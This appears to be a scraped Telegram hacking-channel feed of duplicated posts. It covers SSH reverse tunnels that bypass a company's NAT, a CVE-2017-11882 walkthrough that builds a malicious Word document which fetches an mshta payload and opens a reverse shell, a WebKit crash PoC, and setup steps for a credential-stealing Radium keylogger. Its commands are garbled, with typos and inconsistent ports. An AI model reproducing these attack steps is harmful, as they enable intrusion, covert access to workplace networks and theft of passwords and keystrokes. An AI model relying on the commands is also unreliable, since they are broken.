Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde :
twitter.com/Undercodenews
1) No matter it is infiltration or in the open air, intranet penetration is an important link. We and our assigned intranet IP cannot be accessed through the extranet. SSH reverse tunnel for intranet penetration.
2) Suppose machines A and B, A has a public IP, and B is behind NAT and has no available port forwarding. Now I want to initiate an SSH connection to B from A. Because B is behind the NAT, there is no such combination of public IP + port available , so A cannot penetrate NAT. This article deals with this situation. Also encountered by most people.
3) Let's first assume the following machines:
Machine code Machine position address Account ssh / sshd port Do you need to run sshd
A Public network a.site usera twenty two Yes
B Behind NAT localhost userb twenty two Yes
C Behind NAT localhost userc twenty two no
SSH direction tunnel connection
4) This method refers to the active establishment of an SSH tunnel from B to A, which forwards port 6766 of A to port B. As long as the tunnel is not closed, this forwarding is effective. You only need to access A's 6766 port to connect to B in reverse.
π¦ First establish an SSH tunnel on B, and forward port 6676 of A to port 22 of B:
1) B $ ssh -p 22 -qngfNTR 6766: localhost: 22 usera@a.site
Then use 6766 reverse SSH to B on A
2) A $ ssh -p 6766 userb @ localhost
The thing to do is actually that simple.
3) Maintenance of the tunnel
Stability maintenance
> Unfortunately, the SSH connection will be closed overtime. If the connection is closed and the tunnel cannot be maintained, then A cannot use the reverse tunnel to penetrate B's NAT. Therefore, we need a solution to provide a stable SSH To the tunnel.
4) One of the easiest methods is autossh. This software will automatically establish an SSH tunnel after a timeout. This solves the problem of tunnel stability. If you use Arch Linux, you can get it like this:
> $ sudo pacman -S autossh
5) Let's do something similar on B before, except that the tunnel will be maintained by autossh:
> $ autossh -p 22 -M 6777 -NR 6766: localhost: 22 usera@a.site
The port specified by the -M parameter is used to monitor the status of the tunnel and has nothing to do with port forwarding.
6) Then you can access B on port 6766 on A:
> $ ssh -p 6766 user @ localhost
7) Automatic tunnel establishment
However, there is another problem. If B restarts the tunnel, it will disappear. Then there needs to be a means autossh to establish an SSH tunnel each time B starts . One idea is to make the service very natural, then it will be given in systemd a solution under the program.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde :
twitter.com/Undercodenews
1) No matter it is infiltration or in the open air, intranet penetration is an important link. We and our assigned intranet IP cannot be accessed through the extranet. SSH reverse tunnel for intranet penetration.
2) Suppose machines A and B, A has a public IP, and B is behind NAT and has no available port forwarding. Now I want to initiate an SSH connection to B from A. Because B is behind the NAT, there is no such combination of public IP + port available , so A cannot penetrate NAT. This article deals with this situation. Also encountered by most people.
3) Let's first assume the following machines:
Machine code Machine position address Account ssh / sshd port Do you need to run sshd
A Public network a.site usera twenty two Yes
B Behind NAT localhost userb twenty two Yes
C Behind NAT localhost userc twenty two no
SSH direction tunnel connection
4) This method refers to the active establishment of an SSH tunnel from B to A, which forwards port 6766 of A to port B. As long as the tunnel is not closed, this forwarding is effective. You only need to access A's 6766 port to connect to B in reverse.
π¦ First establish an SSH tunnel on B, and forward port 6676 of A to port 22 of B:
1) B $ ssh -p 22 -qngfNTR 6766: localhost: 22 usera@a.site
Then use 6766 reverse SSH to B on A
2) A $ ssh -p 6766 userb @ localhost
The thing to do is actually that simple.
3) Maintenance of the tunnel
Stability maintenance
> Unfortunately, the SSH connection will be closed overtime. If the connection is closed and the tunnel cannot be maintained, then A cannot use the reverse tunnel to penetrate B's NAT. Therefore, we need a solution to provide a stable SSH To the tunnel.
4) One of the easiest methods is autossh. This software will automatically establish an SSH tunnel after a timeout. This solves the problem of tunnel stability. If you use Arch Linux, you can get it like this:
> $ sudo pacman -S autossh
5) Let's do something similar on B before, except that the tunnel will be maintained by autossh:
> $ autossh -p 22 -M 6777 -NR 6766: localhost: 22 usera@a.site
The port specified by the -M parameter is used to monitor the status of the tunnel and has nothing to do with port forwarding.
6) Then you can access B on port 6766 on A:
> $ ssh -p 6766 user @ localhost
7) Automatic tunnel establishment
However, there is another problem. If B restarts the tunnel, it will disappear. Then there needs to be a means autossh to establish an SSH tunnel each time B starts . One idea is to make the service very natural, then it will be given in systemd a solution under the program.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Twitter
UNDERCODE TESTING NEWS (@UndercodeNews) | Twitter
The latest Tweets from UNDERCODE TESTING NEWS (@UndercodeNews). EXPERT HACKING | SECURITY | TRAINING & MUCH MORE ...@UndercodeNews @DailyCVE. Lebanon-North
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde PART 2 : :
twitter.com/UndercOdenews
ππΌππ πππΈβπ :
π¦"Punch holes"
The reason why the title is this is because I think this thing is a bit similar to UDP hole punching, that is, through a machine on the public network, two machines that are respectively behind each NAT can establish an SSH connection.
1) Here's how to use SSH reverse tunnel to connect C to B.
First edit the configuration file on A , turn on the switch:sshd/etc/ssh/sshd_configGatewayPorts
2) GtaewayPorts yes
Then restart ssh
> A$ sudo systemct1 restart sshd
Then slightly modify the autossh command used on B:
3)B > $ autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' user@a.site
Then use C's port 6676 to connect to B on C:
C $ ssh -p 6766 user@a.site
So far you have easily penetrated the two layers of NAT
π¦ 1) Final solution
Combining the previously mentioned, the final solution is as follows:
2) First turn on the GatewayPorts switch of sshd on A and restart sshd.
3) Then create a new user autossh on B. According to the idea of permission minimization, the autossh service handout on B runs as the user autossh to avoid security problems as much as possible:
1 B $ sudo useradd -m autossh
2 B $ sudo passwd autossh
Then create the SSH key for the autossh user on B and upload it to A:
1 B $ su-autossh
2 B $ ssh-keygen -t; rsa '-C' autossh @ B '
3 B $ ssh-copy-id user@a.site
Be careful not to set a password for this key , that is ssh-keygen , do not enter extra characters despite entering all the way when running the command.
4) Then create a service file called with autossh user privileges on B. Write the following text to the file and set the permissions to 644:autossh/lib/systemd/system/autossh.service
1 [Unit]
2 Description = Auto SSH Tunnel
3 After = network-online.target
4 [Service]
5 User = autossh
6 Type = simple
7 ExecStart = / bin / autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' usera@a.site -i /home/autossh/.ssh/id_rsa
8 ExecReload = / bin / kill -HUP $ MAINPID
9 KillMode = process
10 Restart = always
11 [Install]
12 WantedBy = multi-user.target
13 WantedBy = graphical.target
Setting network-online.target on B takes effect:
5) B $ systemctl enable NetworkManager-wait-online
If you use systemd-networkd and you need to restart the service, it should be systemd-networkd-wait-online. Then set the service to start automatically:
> B $ systemctl enable autossh
If you like, you can start it immediately after this:
> B $ systemctl start autossh
Then you can use this reverse tunnel on A to penetrate B's NAT SSH connection to B:
> C $ ssh -p 6766 user @ localhost
Or SSH to C directly through two layers of NAT:
> C $ ssh -p 6766 user@a.site
If you are familiar with ssh, you can use this tunnel to do more things. For example, you can specify dynamic port forwarding when connecting backwards:
> C $ ssh -p 6766 -qngfNTD 7677 user@site.a
Joining C is your computer, A is your VPS, and B is your company's computer. If you do the above, then the browser port is set to the sock4 local (localhost) proxy of 7677, and you can see the company's webpage in your home browser.
π¦There are some other things in the home that are not useful, everyone knows. . . . .
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde PART 2 : :
twitter.com/UndercOdenews
ππΌππ πππΈβπ :
π¦"Punch holes"
The reason why the title is this is because I think this thing is a bit similar to UDP hole punching, that is, through a machine on the public network, two machines that are respectively behind each NAT can establish an SSH connection.
1) Here's how to use SSH reverse tunnel to connect C to B.
First edit the configuration file on A , turn on the switch:sshd/etc/ssh/sshd_configGatewayPorts
2) GtaewayPorts yes
Then restart ssh
> A$ sudo systemct1 restart sshd
Then slightly modify the autossh command used on B:
3)B > $ autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' user@a.site
Then use C's port 6676 to connect to B on C:
C $ ssh -p 6766 user@a.site
So far you have easily penetrated the two layers of NAT
π¦ 1) Final solution
Combining the previously mentioned, the final solution is as follows:
2) First turn on the GatewayPorts switch of sshd on A and restart sshd.
3) Then create a new user autossh on B. According to the idea of permission minimization, the autossh service handout on B runs as the user autossh to avoid security problems as much as possible:
1 B $ sudo useradd -m autossh
2 B $ sudo passwd autossh
Then create the SSH key for the autossh user on B and upload it to A:
1 B $ su-autossh
2 B $ ssh-keygen -t; rsa '-C' autossh @ B '
3 B $ ssh-copy-id user@a.site
Be careful not to set a password for this key , that is ssh-keygen , do not enter extra characters despite entering all the way when running the command.
4) Then create a service file called with autossh user privileges on B. Write the following text to the file and set the permissions to 644:autossh/lib/systemd/system/autossh.service
1 [Unit]
2 Description = Auto SSH Tunnel
3 After = network-online.target
4 [Service]
5 User = autossh
6 Type = simple
7 ExecStart = / bin / autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' usera@a.site -i /home/autossh/.ssh/id_rsa
8 ExecReload = / bin / kill -HUP $ MAINPID
9 KillMode = process
10 Restart = always
11 [Install]
12 WantedBy = multi-user.target
13 WantedBy = graphical.target
Setting network-online.target on B takes effect:
5) B $ systemctl enable NetworkManager-wait-online
If you use systemd-networkd and you need to restart the service, it should be systemd-networkd-wait-online. Then set the service to start automatically:
> B $ systemctl enable autossh
If you like, you can start it immediately after this:
> B $ systemctl start autossh
Then you can use this reverse tunnel on A to penetrate B's NAT SSH connection to B:
> C $ ssh -p 6766 user @ localhost
Or SSH to C directly through two layers of NAT:
> C $ ssh -p 6766 user@a.site
If you are familiar with ssh, you can use this tunnel to do more things. For example, you can specify dynamic port forwarding when connecting backwards:
> C $ ssh -p 6766 -qngfNTD 7677 user@site.a
Joining C is your computer, A is your VPS, and B is your company's computer. If you do the above, then the browser port is set to the sock4 local (localhost) proxy of 7677, and you can see the company's webpage in your home browser.
π¦There are some other things in the home that are not useful, everyone knows. . . . .
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Twitter
UNDERCODE TESTING NEWS (@UndercodeNews) | Twitter
The latest Tweets from UNDERCODE TESTING NEWS (@UndercodeNews). EXPERT HACKING | SECURITY | TRAINING & MUCH MORE ...@UndercodeNews @DailyCVE. Lebanon-North
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Office Memory Corruption Vulnerability CVE-2017-11882 Failed to execute arbitrary code, DoS PoC has been released:
fb.com/UndercodeTesting
1) Microsoft Office once again revealed a memory corru:ption vulnerability , CVEID CVE-2017-11882 , which can be exploited by an attacker to execute arbitrary code in the context of the currently logged-in user.
2) A failed development attempt may cause a denial of service condition. The affected versions include related versions of Office 2016, Office 2013, Office 2010, and Office 2007.
3) Update: The Microsoft Office Memory Corruption Vulnerability CVE-2017-11882 PoC has been released. The reason it is widely spread is that this vulnerability has no sputum, and users cannot feel it! !! !! Here is a simple reproduction for everyone. .
π¦ Tools used:
1) Infiltration tool: kodiac (used to construct the payload and get the shell) Tool address: https://github.com/weiruyi123/koadic (This is the version I modified without coding errors)
2) Vulnerability Poc: Address: https://github.com/weiruyi123/CVE-2017-11882
(Poc has a limit on the command length. For details, please refer to the README on github.)
π¦ Operating environment:
1) Python2.7
2) Target: windows server 2008 R2 standard IP: 192.168.1.171
3) Attack machine: A VPS with a public IP (because I don't want to do forwarding, I use the VPS as a rebound shell service to show everyone)
4) Enter bash, cd into the downloaded Poc directory, we can see that Poc is written in python, so you need to install the python environment.
Next we open the win server virtual machine
5) Newly installed virtual machine (without any patches).
Here I use ssh to link my vps and use git clone to download kodiac. After recursively adding execute permissions to the directory, cd into the kodiac directory and then. /kodiac.py runs, the same tool also requires a python environment
6)Then we set the LHOST and LPORT mosaics and fill in your intranet IP address (if it is an intranet penetration) or port forwarding address, and then enter run to generate the payload
7) Copy 'mshta http: // IP: 2580 / acg9N' and then go back to bash to open the Poc directory. The usage of Poc is
python Command_CVE-2017-11882.py -c "cmd.exe / c calc.exe" -o test.doc
-c refers to the command executed remotely -o refers to the generated document location. We modify the command and save location at -c according to the situation, here according to the payload command I generated is
python Command_CVE-2017-11882.py -c "mshta http: // IP: 2580 / acg9N" -o test.doc
Of course, you can also use msf to generate a powershell one-sentence payload and then replace the parameter at -c
8) It can be seen that we have successfully generated a malicious document (check picture sended by UndercOde
9) Next, you only need to open it through some social workers or abnormal means. we will open the document into the win server virtual machine.
10) Then you will find that the zombies shell with code 0 has been rebounded at kodiac, and there is no error message after the target is opened
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Office Memory Corruption Vulnerability CVE-2017-11882 Failed to execute arbitrary code, DoS PoC has been released:
fb.com/UndercodeTesting
1) Microsoft Office once again revealed a memory corru:ption vulnerability , CVEID CVE-2017-11882 , which can be exploited by an attacker to execute arbitrary code in the context of the currently logged-in user.
2) A failed development attempt may cause a denial of service condition. The affected versions include related versions of Office 2016, Office 2013, Office 2010, and Office 2007.
3) Update: The Microsoft Office Memory Corruption Vulnerability CVE-2017-11882 PoC has been released. The reason it is widely spread is that this vulnerability has no sputum, and users cannot feel it! !! !! Here is a simple reproduction for everyone. .
π¦ Tools used:
1) Infiltration tool: kodiac (used to construct the payload and get the shell) Tool address: https://github.com/weiruyi123/koadic (This is the version I modified without coding errors)
2) Vulnerability Poc: Address: https://github.com/weiruyi123/CVE-2017-11882
(Poc has a limit on the command length. For details, please refer to the README on github.)
π¦ Operating environment:
1) Python2.7
2) Target: windows server 2008 R2 standard IP: 192.168.1.171
3) Attack machine: A VPS with a public IP (because I don't want to do forwarding, I use the VPS as a rebound shell service to show everyone)
4) Enter bash, cd into the downloaded Poc directory, we can see that Poc is written in python, so you need to install the python environment.
Next we open the win server virtual machine
5) Newly installed virtual machine (without any patches).
Here I use ssh to link my vps and use git clone to download kodiac. After recursively adding execute permissions to the directory, cd into the kodiac directory and then. /kodiac.py runs, the same tool also requires a python environment
6)Then we set the LHOST and LPORT mosaics and fill in your intranet IP address (if it is an intranet penetration) or port forwarding address, and then enter run to generate the payload
7) Copy 'mshta http: // IP: 2580 / acg9N' and then go back to bash to open the Poc directory. The usage of Poc is
python Command_CVE-2017-11882.py -c "cmd.exe / c calc.exe" -o test.doc
-c refers to the command executed remotely -o refers to the generated document location. We modify the command and save location at -c according to the situation, here according to the payload command I generated is
python Command_CVE-2017-11882.py -c "mshta http: // IP: 2580 / acg9N" -o test.doc
Of course, you can also use msf to generate a powershell one-sentence payload and then replace the parameter at -c
8) It can be seen that we have successfully generated a malicious document (check picture sended by UndercOde
9) Next, you only need to open it through some social workers or abnormal means. we will open the document into the win server virtual machine.
10) Then you will find that the zombies shell with code 0 has been rebounded at kodiac, and there is no error message after the target is opened
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Facebook
Log in or sign up to view
See posts, photos and more on Facebook.
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ iOS Safari WebKit CVE-2017-13785 Remote Code Execution Vulnerability POC:
> twitter.com/UndercodeNews
ππΌππ πππΈβπ :
1) WebKit is a typesetting engine used by web browsers to draw web pages. It is used in Apple Safari. Its branches are used in Chromium-based web browsers such as Opera and Google Chrome.
PoC:
*/
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
window.getSelection().setPosition(h,1);
document.execCommand("delete", false);
document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>
/*
π¦ ASan log:
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
2) #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
3) #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
4) #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore
5) AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574) in WTF::StringImpl::at(unsigned int) const
Shadow bytes around the buggy address:
0x1c060001eb60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x1c060001eb70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ iOS Safari WebKit CVE-2017-13785 Remote Code Execution Vulnerability POC:
> twitter.com/UndercodeNews
ππΌππ πππΈβπ :
1) WebKit is a typesetting engine used by web browsers to draw web pages. It is used in Apple Safari. Its branches are used in Chromium-based web browsers such as Opera and Google Chrome.
PoC:
*/
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
window.getSelection().setPosition(h,1);
document.execCommand("delete", false);
document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>
/*
π¦ ASan log:
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
2) #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
3) #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
4) #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore
5) AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574) in WTF::StringImpl::at(unsigned int) const
Shadow bytes around the buggy address:
0x1c060001eb60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x1c060001eb70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
X (formerly Twitter)
UNDERCODE NEWS (@UndercodeNews) on X
π¦ Latest in Cyber & Tech News with AI-Powered Analysis and Fact Checking.
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ REQUIREMENTS Programming languages TO BE A WHITE HACKER :
t.me/UndercOdeTesting
1) HTML: One of the easiest and widely used static markup web language present in each and every website you see in your browser. Itβs recommended to learn HTML because it helps understanding web actions, response, and logic.
2) CSS: This is the design of the website, itβs like the wallpaper or decoration in the house. Javascript: A client-side web programming mostly used in web sites for better user interface and quick response. If you are interested in a hacking career you need to learn JavaScript because it helps to understand client-side mechanism which is essential for finding client-side flaws.
3) PHP: A dynamic server-side language which is responsible for managing web-apps and database. PHP is considered one of the most essential language because it controls everything on site and server, like a captain of a ship. It is advised to learn PHP nicely.
4) SQL: SQL is responsible for storing and managing sensitive and confidential data such as user credentials, bank and personal information about the website visitors. Black hat hackers mostly target SQL database and steal information which is later sold on underground dark web forum. If you want to be good security researcher, you should learn SQL so that you can find flaws in a website and report them.
π¦ Exploit Programming :
5) Python: It is said that a security researcher or hacker should know Python because it the core language for creating exploits and tools. Security experts and even pro hackers suggest that mastering Python is the best way to learn hacking. Python offers wider flexibility and you can create exploits only if you are good in Python. Ruby: Ruby is a simple yet complicated object-oriented language.
6) Ruby is very useful when it comes to exploit writing. It is used for meterpreter scripting by hackers. The most famous hacker tool, Metasploit framework is programmed in Ruby. Though Ruby may not be as versatile as Python, knowledge of Ruby is must in understanding exploits.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ REQUIREMENTS Programming languages TO BE A WHITE HACKER :
t.me/UndercOdeTesting
1) HTML: One of the easiest and widely used static markup web language present in each and every website you see in your browser. Itβs recommended to learn HTML because it helps understanding web actions, response, and logic.
2) CSS: This is the design of the website, itβs like the wallpaper or decoration in the house. Javascript: A client-side web programming mostly used in web sites for better user interface and quick response. If you are interested in a hacking career you need to learn JavaScript because it helps to understand client-side mechanism which is essential for finding client-side flaws.
3) PHP: A dynamic server-side language which is responsible for managing web-apps and database. PHP is considered one of the most essential language because it controls everything on site and server, like a captain of a ship. It is advised to learn PHP nicely.
4) SQL: SQL is responsible for storing and managing sensitive and confidential data such as user credentials, bank and personal information about the website visitors. Black hat hackers mostly target SQL database and steal information which is later sold on underground dark web forum. If you want to be good security researcher, you should learn SQL so that you can find flaws in a website and report them.
π¦ Exploit Programming :
5) Python: It is said that a security researcher or hacker should know Python because it the core language for creating exploits and tools. Security experts and even pro hackers suggest that mastering Python is the best way to learn hacking. Python offers wider flexibility and you can create exploits only if you are good in Python. Ruby: Ruby is a simple yet complicated object-oriented language.
6) Ruby is very useful when it comes to exploit writing. It is used for meterpreter scripting by hackers. The most famous hacker tool, Metasploit framework is programmed in Ruby. Though Ruby may not be as versatile as Python, knowledge of Ruby is must in understanding exploits.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WordPress Full Version SQL Injection Vulnerability All Versions Affected Before 4.8.3 :
pinterest.com/Undercode_Testing
1) There are quite a lot of WordPress vulnerabilities. Recently, WordPress has exposed SQL injection vulnerabilities. All versions before 4.8.3 are affected. Due to its large usage, NSFOCUS issued a threat notice, the full text of which is as follows:
2) WordPress WPDB SQL injection vulnerability threat warning notice
On October 31, 2017, WordPress officially released the 4.8.3 security update, which fixed a SQL injection vulnerability that existed in the previous full version.
3) The vulnerability stems from the fact that $ wpdb-> prepare () can generate dangerous query commands, leading to potential SQL injection. The core of WordPress is not easily affected by the vulnerability, but WordPress officially strengthened the security of plugins and themes to prevent the vulnerability from being triggered.
π¦1) Related Link:
https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
2) Affected area
Affected version WordPress <= 4.8.2
Unaffected version WordPress 4.8.3
3) solution
> WordPress has officially released the latest version 4.8.3 to fix this vulnerability. Users using 4.8.2 and previous versions should upgrade to 4.8.3 in time to protect against this vulnerability.
> Reference link:
https://wordpress.org/download/
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WordPress Full Version SQL Injection Vulnerability All Versions Affected Before 4.8.3 :
pinterest.com/Undercode_Testing
1) There are quite a lot of WordPress vulnerabilities. Recently, WordPress has exposed SQL injection vulnerabilities. All versions before 4.8.3 are affected. Due to its large usage, NSFOCUS issued a threat notice, the full text of which is as follows:
2) WordPress WPDB SQL injection vulnerability threat warning notice
On October 31, 2017, WordPress officially released the 4.8.3 security update, which fixed a SQL injection vulnerability that existed in the previous full version.
3) The vulnerability stems from the fact that $ wpdb-> prepare () can generate dangerous query commands, leading to potential SQL injection. The core of WordPress is not easily affected by the vulnerability, but WordPress officially strengthened the security of plugins and themes to prevent the vulnerability from being triggered.
π¦1) Related Link:
https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
2) Affected area
Affected version WordPress <= 4.8.2
Unaffected version WordPress 4.8.3
3) solution
> WordPress has officially released the latest version 4.8.3 to fix this vulnerability. Users using 4.8.2 and previous versions should upgrade to 4.8.3 in time to protect against this vulnerability.
> Reference link:
https://wordpress.org/download/
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Pinterest
UnderCode TESTING (UNDERCODE_TESTING) on Pinterest
UnderCode TESTING | πππππ£βπ ππ πππ€π₯πππ βπ ππ‘πππͺ:
Programming, Web & Applications makers, Host, bugs fix, Satellite Reicivers Programming..
Started Since 2011
Programming, Web & Applications makers, Host, bugs fix, Satellite Reicivers Programming..
Started Since 2011
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ NSFOCUS Technology Statement :
twitter.com/UndercodeNews
1) This security bulletin is only used to describe possible security issues.
2) NSFOCUS does not provide any guarantee or commitment for this security bulletin. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this security bulletin are the responsibility of the user himself.
3) NSFOCUS and the author of the security bulletin shall not bear any responsibility for this. NSFOCUS has the right to modify and interpret this security announcement.
4) If you want to reprint or disseminate this security bulletin, you must ensure the integrity of this security bulletin, including the entire contents of the copyright statement. Without the permission of NSFOCUS Technology, the content of this security bulletin may not be modified or added arbitrarily, and it may not be used for commercial purposes in any way.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ NSFOCUS Technology Statement :
twitter.com/UndercodeNews
1) This security bulletin is only used to describe possible security issues.
2) NSFOCUS does not provide any guarantee or commitment for this security bulletin. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this security bulletin are the responsibility of the user himself.
3) NSFOCUS and the author of the security bulletin shall not bear any responsibility for this. NSFOCUS has the right to modify and interpret this security announcement.
4) If you want to reprint or disseminate this security bulletin, you must ensure the integrity of this security bulletin, including the entire contents of the copyright statement. Without the permission of NSFOCUS Technology, the content of this security bulletin may not be modified or added arbitrarily, and it may not be used for commercial purposes in any way.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
X (formerly Twitter)
UNDERCODE NEWS (@UndercodeNews) on X
π¦ Latest in Cyber & Tech News with AI-Powered Analysis and Fact Checking.
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Versatile Python Keylogger: Radium :
The so-called keyboard recording usually refers to recording the key operations performed by the user on the keyboard, that is, recording which keys the user has pressed. This keyboard recording activity is usually performed quietly in the background, so users who use the keyboard usually do not realize that their typing operations have been illegally monitored. In addition, the attacker can also use keyboard records to understand the habits of the target user using the computer.
pinterest.com/Undercode_Testing
ππΌππ πππΈβπ :
1) Radium, a keylogger with multiple functions. This tool is written in Python and has many functions as shown below:
-Application and keylogger
-Screenshot record
-Send keyboard records via email
-Recover password for Chrome, Mozilla, Filezilla, Core FTP, CyberDuck, FTPNavigator, WinSCP, Outlook, Putty, Skype and more
-Cookie stealing
-Automatic update function
-Collect system information, including internal / external IP addresses, Ipconfig and / all output, and platform version.
π¦Dependent component
1) PyHook
2) PyWin32
3) MicrosoftVisual C ++ Compiler for Python
4) PyInstaller
π¦ Tool use:
-Download dependent libraries
-Set Gmail email username and password to minimize Gmail security settings to allow all connections;
-Set up FTP server, including IP, username and password, and the directory where new version of Radium needs to be stored;
-Remember to use base64 encoding for passwords;
-Set the originalfilename variable in copytostartup (), which is the name of the exe file;
-Use Pyinstaller to make exe files;
-After recording 300 (modifiable) user keystrokes, a keyboard record is automatically sent to the attacker via email;
-After recording 500 (modifiable) user keystrokes, screenshots will be taken automatically;
-Remember, when you convert Radium to exe format, you need to modify the originalfilename and coppiedfilename variables in the copytostartup () function.
ENJOY WITH Undercode Tutorials
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Versatile Python Keylogger: Radium :
The so-called keyboard recording usually refers to recording the key operations performed by the user on the keyboard, that is, recording which keys the user has pressed. This keyboard recording activity is usually performed quietly in the background, so users who use the keyboard usually do not realize that their typing operations have been illegally monitored. In addition, the attacker can also use keyboard records to understand the habits of the target user using the computer.
pinterest.com/Undercode_Testing
ππΌππ πππΈβπ :
1) Radium, a keylogger with multiple functions. This tool is written in Python and has many functions as shown below:
-Application and keylogger
-Screenshot record
-Send keyboard records via email
-Recover password for Chrome, Mozilla, Filezilla, Core FTP, CyberDuck, FTPNavigator, WinSCP, Outlook, Putty, Skype and more
-Cookie stealing
-Automatic update function
-Collect system information, including internal / external IP addresses, Ipconfig and / all output, and platform version.
π¦Dependent component
1) PyHook
2) PyWin32
3) MicrosoftVisual C ++ Compiler for Python
4) PyInstaller
π¦ Tool use:
-Download dependent libraries
-Set Gmail email username and password to minimize Gmail security settings to allow all connections;
-Set up FTP server, including IP, username and password, and the directory where new version of Radium needs to be stored;
-Remember to use base64 encoding for passwords;
-Set the originalfilename variable in copytostartup (), which is the name of the exe file;
-Use Pyinstaller to make exe files;
-After recording 300 (modifiable) user keystrokes, a keyboard record is automatically sent to the attacker via email;
-After recording 500 (modifiable) user keystrokes, screenshots will be taken automatically;
-Remember, when you convert Radium to exe format, you need to modify the originalfilename and coppiedfilename variables in the copytostartup () function.
ENJOY WITH Undercode Tutorials
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Pinterest
UnderCode TESTING (UNDERCODE_TESTING) on Pinterest
UnderCode TESTING | πππππ£βπ ππ πππ€π₯πππ βπ ππ‘πππͺ:
Programming, Web & Applications makers, Host, bugs fix, Satellite Reicivers Programming..
Started Since 2011
Programming, Web & Applications makers, Host, bugs fix, Satellite Reicivers Programming..
Started Since 2011
Forwarded from PRIVATE UNDERCODE
